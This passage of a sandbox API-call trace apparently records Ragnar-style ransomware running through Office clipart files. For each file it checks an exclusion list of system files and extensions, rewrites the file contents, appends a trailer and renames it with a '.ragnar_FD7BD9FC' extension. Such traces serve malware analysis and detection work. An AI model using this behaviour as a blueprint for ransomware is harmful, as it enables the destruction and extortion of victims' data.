(lpString1="TN00231_.WMF", lpString2="iconcache.db") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="ntldr") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="ntuser.dat") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="ntuser.ini") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="thumbs.db") returned 1 [0092.568] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.569] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.569] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.569] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.569] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.569] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.569] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf")) returned 0x20 [0092.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.569] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1848) returned 1 [0092.569] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x72f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.569] GetProcessHeap () returned 0x580000 [0092.569] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.569] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.571] VirtualAlloc (lpAddress=0x0, dwSize=0x738, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.571] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x738, lpOverlapped=0x0) returned 1 [0092.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x738, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.571] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x738, lpOverlapped=0x0) returned 1 [0092.572] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x738, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.572] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.572] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x738, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.572] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.572] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.572] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.572] GetProcessHeap () returned 0x580000 [0092.572] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.572] CloseHandle (hObject=0xf4) returned 1 [0092.572] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" [0092.572] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.ragnar_FD7BD9FC" [0092.573] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.573] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65787a00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65787a00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xc68, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00234_.WMF", cAlternateFileName="")) returned 1 [0092.573] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.573] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00234_.WMF" | out: lpString1="TN00234_.WMF") returned="TN00234_.WMF" [0092.573] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF") returned=".WMF" [0092.573] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.573] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="autorun.inf") returned 1 [0092.573] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="boot.ini") returned 1 [0092.573] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="bootfont.bin") returned 1 [0092.573] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="bootsect.bak") returned 1 [0092.573] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="bootmgr") returned 1 [0092.573] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="bootmgr.efi") returned 1 [0092.574] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.574] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="desktop.ini") returned 1 [0092.574] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="iconcache.db") returned 1 [0092.574] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="ntldr") returned 1 [0092.574] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="ntuser.dat") returned 1 [0092.574] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.574] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="ntuser.ini") returned 1 [0092.574] lstrcmpiW (lpString1="TN00234_.WMF", lpString2="thumbs.db") returned 1 [0092.574] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.574] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.574] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.574] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.574] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.574] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.574] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf")) returned 0x20 [0092.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.575] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3176) returned 1 [0092.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.575] GetProcessHeap () returned 0x580000 [0092.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.575] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.577] VirtualAlloc (lpAddress=0x0, dwSize=0xc68, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.577] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc68, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc68, lpOverlapped=0x0) returned 1 [0092.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.577] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc68, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.577] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc68, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc68, lpOverlapped=0x0) returned 1 [0092.577] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.577] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.578] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.578] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.578] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.578] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.578] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.578] GetProcessHeap () returned 0x580000 [0092.578] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.578] CloseHandle (hObject=0xf4) returned 1 [0092.578] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" [0092.578] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.ragnar_FD7BD9FC" [0092.578] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.579] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3d200, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa3d200, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xf8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00241_.WMF", cAlternateFileName="")) returned 1 [0092.579] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.579] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00241_.WMF" | out: lpString1="TN00241_.WMF") returned="TN00241_.WMF" [0092.579] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF") returned=".WMF" [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="autorun.inf") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="boot.ini") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="bootfont.bin") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="bootsect.bak") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="bootmgr") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="bootmgr.efi") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="desktop.ini") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="iconcache.db") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="ntldr") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="ntuser.dat") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="ntuser.ini") returned 1 [0092.579] lstrcmpiW (lpString1="TN00241_.WMF", lpString2="thumbs.db") returned 1 [0092.579] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.579] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.579] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.579] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.579] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.579] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.580] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf")) returned 0x20 [0092.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.580] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3980) returned 1 [0092.580] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.580] GetProcessHeap () returned 0x580000 [0092.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.580] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.582] VirtualAlloc (lpAddress=0x0, dwSize=0xf8c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.582] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf8c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf8c, lpOverlapped=0x0) returned 1 [0092.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.582] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.582] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf8c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf8c, lpOverlapped=0x0) returned 1 [0092.582] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.582] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.582] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.582] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.583] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.583] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.583] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.583] GetProcessHeap () returned 0x580000 [0092.583] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.583] CloseHandle (hObject=0xf4) returned 1 [0092.583] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" [0092.583] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.ragnar_FD7BD9FC" [0092.583] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.584] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e038d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e038d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00246_.WMF", cAlternateFileName="")) returned 1 [0092.584] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.584] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00246_.WMF" | out: lpString1="TN00246_.WMF") returned="TN00246_.WMF" [0092.584] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF") returned=".WMF" [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="autorun.inf") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="boot.ini") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="bootfont.bin") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="bootsect.bak") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="bootmgr") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="bootmgr.efi") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="desktop.ini") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="iconcache.db") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="ntldr") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="ntuser.dat") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="ntuser.ini") returned 1 [0092.584] lstrcmpiW (lpString1="TN00246_.WMF", lpString2="thumbs.db") returned 1 [0092.584] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.584] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.584] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.584] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.584] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.584] lstrcmpiW (lpString1=".WMF", 